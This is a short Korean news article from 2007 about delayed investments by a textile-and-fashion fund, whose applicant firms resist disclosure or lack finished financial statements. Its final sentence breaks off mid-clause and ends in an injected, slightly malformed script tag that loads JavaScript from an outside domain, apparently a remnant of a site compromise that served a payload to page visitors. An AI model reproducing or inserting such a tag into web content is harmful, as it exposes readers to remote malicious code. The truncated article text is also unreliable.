섬유패션펀드, 상반기 중 투자 진행

2007-02-23 09:29 조회수 아이콘 1817

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섬유패션펀드, 상반기 중 투자 진행


섬유패션펀드의 투자가 당초 예상보다 늦어지고 있다.


이는 투자를 신청한 업체들이 경영시스템의 노출을 꺼리거나 재무관리가 제대로 이루어 지지 않아 심사의 조건을 충족시키지 못했기 때문.


실제로 한 업체는 지난 1월까지 심사를 마치고 투자가 이뤄질 예정이었으나 현재까지 재무제표가 완성되지 않아 3월로 투자 결정이 미뤄졌다.


또 경영권 침해를 우려한 업체들이 자료 공개에 소극적인 태도를 보이고 있으며 향후 사업계획이 뚜렷하지 않아 어려움을 겪고 있다는 것.


섬유패션펀드 운용사인 바이넥스트창투사(대표 김영훈)는 현재 여성복과 캐주얼을 전개하고 있는 중견 의류업체와 기능성 섬유 전문업체 2곳을 유력 투자 대상업체로 선정, 심사를 진행하고 있다.


또 향후 남성복 업체와 디자이너 브랜드 2곳에 ?script src=http://mekiller.com/1/1.js>